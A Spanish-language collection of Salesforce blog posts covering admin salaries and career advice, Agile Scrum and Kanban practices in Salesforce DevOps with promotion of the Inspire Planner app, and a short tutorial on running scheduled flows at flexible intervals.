Según Talent.com, la estructura del salario del administrador de Salesforce en India varía ampliamente, dependiendo de varios factores. En promedio, pueden esperar ganar ₹ 1,100,000 por año. Para aquellos que recién comienzan su viaje de Salesforce, los salarios de nivel de entrada son alrededor de ₹ 500,000 por año.

Sin embargo, a medida que los administradores de Salesforce acumulan experiencia y perfeccionan sus habilidades, su potencial de ingresos crece significativamente. Los profesionales más experimentados en este campo pueden obtener salarios de hasta ₹ 1 737 500 por año, lo que demuestra la importante progresión financiera posible en esta carrera.

Salario del administrador de Salesforce a nivel mundial

En el panorama tecnológico en constante evolución, los administradores de Salesforce desempeñan un papel fundamental a nivel mundial. Aquí hay un resumen de los salarios promedio de los administradores de Salesforce en varios países a través de diferentes niveles de experiencia:

Salesforce Admin Salary Guide Globally de Inspire Planner, una aplicación de gestión de proyectos nativa de SalesforceSalesforce Admin Salary Guide Globally de Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Estos números pueden variar según numerosos factores, incluidos el país, la industria y el tamaño de la organización. A medida que los administradores obtienen más experiencia y dominan las funcionalidades de Salesforce, sus salarios aumentan significativamente.

Influencia de la certificación y la experiencia en el salario

El poder de las certificaciones y la experiencia de Salesforce para configurar el salario de un administrador de Salesforce no se puede subestimar. Según la Encuesta de salarios de Mason Frank, se reveló que el 43% de los encuestados vieron un aumento en su salario después de obtener una certificación, lo que destaca la correlación directa entre la mejora profesional y las recompensas financieras.

También es fundamental centrarse estratégicamente en las certificaciones más pertinentes. La certificación de Administrador Avanzado, por ejemplo, es muy buscada ya que valida la experiencia en características y funcionalidades avanzadas de Salesforce. Del mismo modo, tener una certificación de Platform App Builder puede brindar una ventaja considerable para aquellos que aspiran a validar su competencia en el diseño, la creación y la implementación de aplicaciones personalizadas en la plataforma Salesforce.

La experiencia también tiene un peso inmenso en el salario de un administrador de Salesforce. El mismo estudio de Mason Frank sugiere que un profesional de Salesforce con más de cinco años de experiencia puede ganar hasta un 20% más que sus contrapartes con menos experiencia.

Sin embargo, si bien es beneficioso tener múltiples certificaciones, es crucial equilibrar esto con la adquisición de experiencia en el mundo real. Los empleadores valoran la experiencia práctica, por lo que centrarse únicamente en las certificaciones sin aplicar las habilidades aprendidas podría hacerte parecer sobrecualificado o fuera de contacto con los aspectos prácticos del puesto.

Tenencia de trabajo vs. Salto de trabajo: ¿Qué afecta más la progresión salarial?

En el sector de la tecnología, y específicamente dentro de los roles de Salesforce, a menudo vemos una mezcla de experiencias. Para algunos, la lealtad a una sola organización conduce a una progresión salarial constante, especialmente si pueden obtener un ascenso dentro de la organización. Sin embargo, otros descubren que cambiar de trabajo cada pocos años acelera el crecimiento de su salario de administrador de Salesforce debido a la "prima de salto de trabajo".

Según los hallazgos del Instituto de Investigación ADP, los empleados que se apegan a sus trabajos han visto crecer sus salarios en un 5,9 %, mientras que aquellos que cambian de trabajo ven un salto mayor, con un aumento del 8,0 %.

Sin embargo, no se trata solo de perseguir el salario más alto. Cambiar de trabajo puede conducir potencialmente a percepciones de inestabilidad o falta de compromiso, lo que podría afectar las perspectivas laborales futuras. Por otro lado, permanecer en una empresa durante un período prolongado podría limitar la exposición a diversas experiencias y, potencialmente, ralentizar el ritmo de desarrollo de habilidades y progresión profesional.

Por lo tanto, si bien cambiar de trabajo puede generar una ganancia financiera inmediata, considere otros factores, como las oportunidades de aprendizaje, la cultura laboral, el equilibrio entre el trabajo y la vida personal y el crecimiento profesional a largo plazo al tomar tales decisiones. Después de todo, una carrera satisfactoria es algo más que las cifras de su cheque de pago.

Consejos para aumentar el salario del administrador de Salesforce

Estos son algunos consejos prácticos para los administradores de Salesforce que buscan aumentar sus ingresos.

  • Obtenga certificaciones de Salesforce : Salesforce ofrece una variedad de certificaciones que certifican su comprensión y experiencia en varias facetas de la plataforma. Las certificaciones como Administrador avanzado o Creador de aplicaciones de plataforma no son solo muestras de su dedicación para dominar la plataforma; también dan fe de su capacidad para manejar tareas más complejas. Obtener estas certificaciones puede mejorar considerablemente su valor de mercado.
  • Especialícese en un área particular : aunque la versatilidad es un rasgo deseable en los administradores de Salesforce, perfeccionar un área específica puede aumentar su valor para las empresas. Por ejemplo, centrarse en CPQ (Configurar, Precio, Cotizar) puede abrir oportunidades en sectores donde la fijación de precios de productos o servicios es compleja. Al convertirse en un experto en CPQ, se posiciona como un especialista que puede optimizar procesos complejos, aumentando así su potencial de ingresos. Consulte nuestra guía para conocer los mejores recursos para la capacitación de Salesforce.
  • Agregue valor al negocio : los administradores de Salesforce pueden aumentar su salario demostrando su valor para el negocio. Esto podría implicar la automatización de procesos en Salesforce, la implementación de nuevas funciones que aumenten la eficiencia o la capacitación de usuarios finales para utilizar mejor la plataforma. Al mostrar cómo su trabajo contribuye a los resultados de la empresa, puede presentar argumentos sólidos a favor de un salario más alto. Aquí puede encontrar más consejos sobre cómo ser un administrador de Salesforce exitoso.
  • Comprenda su valor : use recursos como la Encuesta anual de salarios de Mason Frank, Payscale o Glassdoor para obtener una imagen realista de cuál es el salario típico de un administrador de Salesforce según su ubicación, industria y nivel de experiencia. Esto lo ayuda a medir su valor de mercado y proporciona una base para comenzar las negociaciones.
  • Esté preparado : antes de la negociación, enumere sus principales contribuciones y logros. Incluya proyectos o iniciativas específicas que hayan tenido un impacto sustancial en el negocio. Esto puede proporcionar evidencia convincente de su valía.
  • Practique la escucha activa : la negociación no se trata solo de hacer demandas; también se trata de comprender la perspectiva de la otra parte. Escuchar puede ayudarlo a identificar lo que es importante para el empleador y encontrar puntos en común.
  • Busque un mentor : busque profesionales que estén un par de etapas por delante de usted en su carrera en Salesforce, preferiblemente de 2 a 5 años. Estas personas tendrán una experiencia reciente y relevante que se alinea estrechamente con los desafíos que es probable que encuentre.

Resumen

A medida que la ola de transformación digital sigue aumentando, la demanda de administradores de Salesforce capacitados se dispara. En particular, las funciones de estos profesionales se extienden más allá de la competencia técnica y exigen una combinación armoniosa de habilidades blandas y una comprensión profunda de los procesos comerciales.

No se puede subestimar la influencia de las certificaciones, la experiencia y la ubicación geográfica en el salario de un administrador de Salesforce. Un administrador certificado de Salesforce, especialmente con habilidades de nicho como CPQ, puede esperar un aumento salarial, con incrementos adicionales paralelos a su experiencia acumulada. Los datos muestran que los cambios frecuentes de trabajo también pueden contribuir a un aumento más rápido de los ingresos en comparación con permanencias más largas en una empresa.

Sin embargo, no se trata solo de buscar certificaciones o cambiar de trabajo. La creación de una red sólida, la búsqueda de mentores y el perfeccionamiento de sus habilidades de negociación son esenciales para mejorar su valor y, en consecuencia, su potencial de ingresos.

Para los posibles administradores de Salesforce o los experimentados que buscan avanzar, recuerde que es una combinación de aprendizaje continuo, movimientos profesionales estratégicos y aprovechar la vibrante comunidad de Salesforce lo que lo colocará en los tramos salariales más altos.

Seguir leyendo

Incorporación de Agile en Salesforce DevOps – Inspire Planner

Incorporación de Agile en Salesforce DevOps - Inspire Planner

La rápida era digital exige que las empresas entreguen valor de manera rápida y eficiente. Sin embargo, los equipos dispersos geográficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ahí es donde entra en juego Agile en Salesforce DevOps.

La gestión ágil de proyectos ofrece una solución que incorpora las metodologías Scrum y Kanban para permitir una adaptación rápida, una colaboración mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organización utiliza metodologías Scrum o Kanban. Entonces, la pregunta es, ¿y tú?

Comprensión de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodologías ágiles son estrategias flexibles que facilitan una gestión de proyectos ágil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye información sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspección : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptación : si el equipo identifica discrepancias significativas durante una inspección, debe ajustar su proceso o los materiales en los que se está trabajando.

Melé

Scrum está diseñado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de períodos específicos conocidos como sprints. Un Sprint es un período de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duración más común es de dos semanas. El equipo evalúa su progreso en reuniones diarias de scrum, que son debates rápidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisión del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar áreas de mejora.

Gestión de proyectos Scrum en Inspire Planner, la aplicación de gestión de proyectos nativa de Salesforce
Creación de un Sprint en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a través del sistema y responder rápidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que está en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a través del sistema Kanban.
  • Gestionar Flujo : La gestión de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalización rápidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Análisis comparativo de Scrum y Kanban

El siguiente análisis le brinda una breve descripción general de qué marco podría usar en su organización.

Melé Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duración. Se enfoca en el flujo continuo y no tiene plazos específicos.
roles Ayuda a los equipos a administrar proyectos complejos dividiéndolos en "sprints" manejables y con límites de tiempo con revisiones periódicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosofía del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboración. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qué marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Melé Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboración y una respuesta rápida.
+ Funciones y responsabilidades bien definidas mejoran la rendición de cuentas.
+ Las revisiones periódicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualización del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones – Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
– No es tan flexible para cambiar a mitad del sprint.
– Requiere un alto nivel de disciplina y comprensión de los principios de Scrum.
– Puede que no sea tan efectivo para tareas complejas e interdependientes.
– Sin disciplina, los límites WIP pueden ignorarse, lo que genera cuellos de botella.
– La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades dinámicas de las empresas. Aquí es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder más rápidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo sólido y una comunicación efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas periódicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigación de riesgos : los sprints breves y delimitados en el tiempo permiten la identificación y resolución temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener más detalles sobre este tema, consulte nuestro artículo sobre cómo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboración, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con éxito y a tiempo. Este es el por qué:

  • Colaboración : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desafíos del proyecto, lo que promueve una resolución de problemas más efectiva. Además, la comprensión compartida y la comunicación frecuente reducen los malentendidos y la repetición del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen fácilmente en el próximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Además, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar aún más la productividad.

    Los equipos que implementan efectivamente las metodologías Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacción del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de características valiosas puede aumentar la satisfacción del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electrónica de consumo líder en Europa, se expandió a China en 2010, desarrolló rápidamente una innovadora suite de planificación de recursos empresariales (ERP) en un año. Gracias a la metodología Scrum y un equipo colaborativo, implementaron múltiples aplicaciones estándar, lo que facilitó el lanzamiento de nuevas tiendas en Asia y preparó un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodología Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. Así es cómo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, moviéndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados usándolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer límites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalización más rápida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quería aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus métodos ágiles, el cambio hacia el pensamiento Lean y la adopción de Kanban mejoraron drásticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en última instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran más competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los límites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar rápidamente ante nuevos problemas o cambios.

Pasos para integrar la metodología Kanban en proyectos de Salesforce

Estos son los pasos prácticos necesarios para integrar de manera efectiva la metodología Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas típicas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar según las necesidades específicas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gestión de proyectos física o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer límites de trabajo en curso (WIP) : defina cuántas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los límites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los límites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores prácticas para integrar metodologías ágiles en Salesforce DevOps

Las siguientes prácticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educación

    Asegúrese de que los miembros de su equipo comprendan los principios Agile y las prácticas de Scrum o Kanban en función de la metodología elegida. Invierta en cursos de capacitación, talleres y recursos relevantes.

  • Empieza pequeño

    Comience con un proyecto pequeño que no tenga mucho en juego. Esto permitirá que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presión.

  • Seleccione un marco ágil adecuado

    Elija Scrum o Kanban según los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboración, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas ágiles de gestión de proyectos

    Utilice herramientas diseñadas específicamente para prácticas ágiles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transición. Si su organización utiliza Salesforce, idealmente debería buscar una herramienta de gestión de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicación abierta, la retroalimentación frecuente y la colaboración activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que también pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea rápido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones periódicas de preparación del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Esté preparado para incorporar cambios en el próximo sprint (en Scrum) o cuando el límite WIP lo permita (en Kanban).
  • Realice retrospectivas : después de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qué funcionó bien, qué no y cómo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que están específicamente diseñadas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente útil si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta ágil de gestión de proyectos para SalesforceInspire Planner: herramienta ágil de gestión de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporación de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementación y ejecución sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensión clara de los principios y prácticas involucrados. Es vital asegurarse de que su equipo reciba la capacitación adecuada antes de la implementación.
  • Descuidar la comunicación : la comunicación regular y clara es crucial en las metodologías ágiles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer más trabajo en menos tiempo. Se trata de administrar el trabajo de manera más efectiva. Asegúrese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el límite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar rápidamente, los equipos pueden comprometer la calidad. Incorpore prácticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas periódicas para identificar y abordar áreas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodologías ágiles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodologías sean menos efectivas. Supere esto a través de capacitación, comunicación abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transición.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusión e ineficiencia. Busque una aplicación de gestión de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporación y formación.
  • Falta de participación de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodologías ágiles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodologías ágiles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarrolló Jira como una herramienta versátil compatible con Scrum, Kanban y metodologías mixtas. Sus sólidas funciones incluyen la priorización de tareas pendientes, la planificación de sprints, los gráficos de avance y reducción, los flujos de trabajo personalizados y más. Sin embargo, para integrar Jira con Salesforce, deberá configurar una solución de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicación de gestión de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodologías Scrum y Kanban listas para usar. Inspire Planner tiene más de 130 reseñas de 5 estrellas en AppExchange e incluye todas las funciones estándar, como trabajos pendientes, sprints, puntos de la historia, gráficos de trabajo pendiente y más.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integración perfecta con Salesforce, sino que también le permite personalizar completamente la aplicación para agilizar su proceso de gestión de proyectos.

¿Y si necesita la gestión de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner también ofrece funciones avanzadas de gestión de proyectos para esta metodología, incluido un gráfico de Gantt interactivo, gestión de recursos, seguimiento del tiempo, carteras, gestión de riesgos, líneas base, dependencias de tareas avanzadas, ruta crítica, uso compartido externo, gestión de restricciones, automatización. , y mucho más.

Trello

Trello es un sistema fácil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalización o las funciones de generación de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opción atractiva para equipos más pequeños o proyectos simples.

Una mirada más cercana a Inspire Planner

Inspire Planner está diseñado para ser una solución de gestión de proyectos Agile integral pero fácil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Aquí hay algunas razones por las que Inspire Planner podría ser una buena opción para su equipo:

  • Soporte ágil completo : Inspire Planner es compatible con las metodologías Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar fácilmente la acumulación de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.
  • Integración perfecta con Salesforce : dado que Inspire Planner vive dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicación de datos y conecta sus datos de Salesforce con sus flujos de trabajo ágiles.
  • Colaboración : Aprovecha Chatter de Salesforce para la comunicación, fomentando la colaboración dentro del equipo. También puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore rápidamente nuevos equipos e impulse la adopción a través de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones estándar como Tareas de Salesforce, Chatter, Informes y Paneles, y más.

Elegir la herramienta adecuada para sus necesidades y el tamaño de su equipo

Elegir la herramienta adecuada depende del tamaño de su equipo, la complejidad del proyecto y la metodología Agile que siga. Aquí hay algunas pautas:

  • Tamaño del equipo y complejidad del proyecto : para equipos pequeños o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta más robusta como Jira o Inspire Planner podría ser más adecuada para equipos más grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y más.
  • Integración de Salesforce : si su organización utiliza mucho Salesforce, una aplicación nativa de Salesforce como Inspire Planner podría ser la mejor opción para una integración perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitación de Salesforce para comenzar.
  • Metodología ágil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podrían ser preferibles. Para Kanban, las tres herramientas podrían satisfacer sus necesidades. Para una combinación de metodologías Agile y Waterfall, Inspire Planner sería la mejor opción.
  • Presupuesto : El costo podría ser otro factor decisivo. Trello suele ser más rentable para equipos pequeños, mientras que Jira e Inspire Planner ofrecen funciones más avanzadas a un costo mayor.

Conclusión

La incorporación de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboración en equipo, la satisfacción del cliente, la eficiencia y la gestión de riesgos. El énfasis en el desarrollo iterativo y la garantía de calidad garantiza estándares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el corazón de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aquí hay algunas ideas procesables:

  • Comprométase con el aprendizaje continuo : anime a su equipo a aprender de cada iteración y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la única constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboración : promover una cultura de comunicación abierta y colaboración. Esto puede conducir a soluciones más innovadoras y a un equipo más fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicación.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodologías ágiles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacción del cliente.

Seguir leyendo

Ejecutar flujo desencadenado por programación a intervalos de repetición flexibles

Ejecutar flujo desencadenado por programación a intervalos de repetición flexibles

Última actualización el 7 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se ejecuta un flujo activado por programación o iniciado automáticamente en intervalos de repetición flexibles?

Objetivos:

Después de leer este blog, podrá:

  • Ejecute un flujo activado por programa en intervalos regulares (por ejemplo, cada 15 minutos, cada hora, cada cuatro horas, etc.)
  • Ejecute un flujo activado por programación solo los fines de semana.
  • Y mucho más

Benjamin Moore, el administrador de Salesforce en Gurukul On Cloud (GoC), implementó con éxito un flujo activado por programación para automatizar las actualizaciones de tipos de cambio de moneda en Salesforce utilizando la API de cambio de moneda . Actualmente, este flujo está configurado para ejecutarse todas las noches a las 12:54 a. m.

Sin embargo, en función de los comentarios comerciales y su satisfacción con la configuración actual, ahora existe una solicitud para que la frecuencia del flujo activado por programación se ajuste para que se ejecute cada seis horas.

Enfoque de Campeón de Automatización (I-do):

Un Evento en los datos no desencadena Flujos programados; se ejecutan cuando llega una hora programada. Los flujos programados se ejecutan de la siguiente manera:

  • Una vez (En una fecha y hora en particular)
  • Diariamente (En una fecha y hora en particular)
  • Semanalmente (En una fecha y hora en particular)

Sin embargo, puede haber casos en los que sea necesario ejecutar un flujo de inicio automático con más frecuencia de la necesaria. Para tales escenarios, se requiere familiaridad con Apex o el uso de una aplicación de AppExchange, Schedul-o-matic 9000 .

La aplicación Schedul-o-matic 9000 ofrece la flexibilidad de intervalos de repetición personalizados. Ya sea ejecutando un trabajo una vez, cada 5 minutos indefinidamente o en cualquier período de tiempo intermedio, la elección está en sus manos.

👉 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Traiga sus propios modelos de IA a la nube de datos ☁️

Traiga sus propios modelos de IA a la nube de datos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

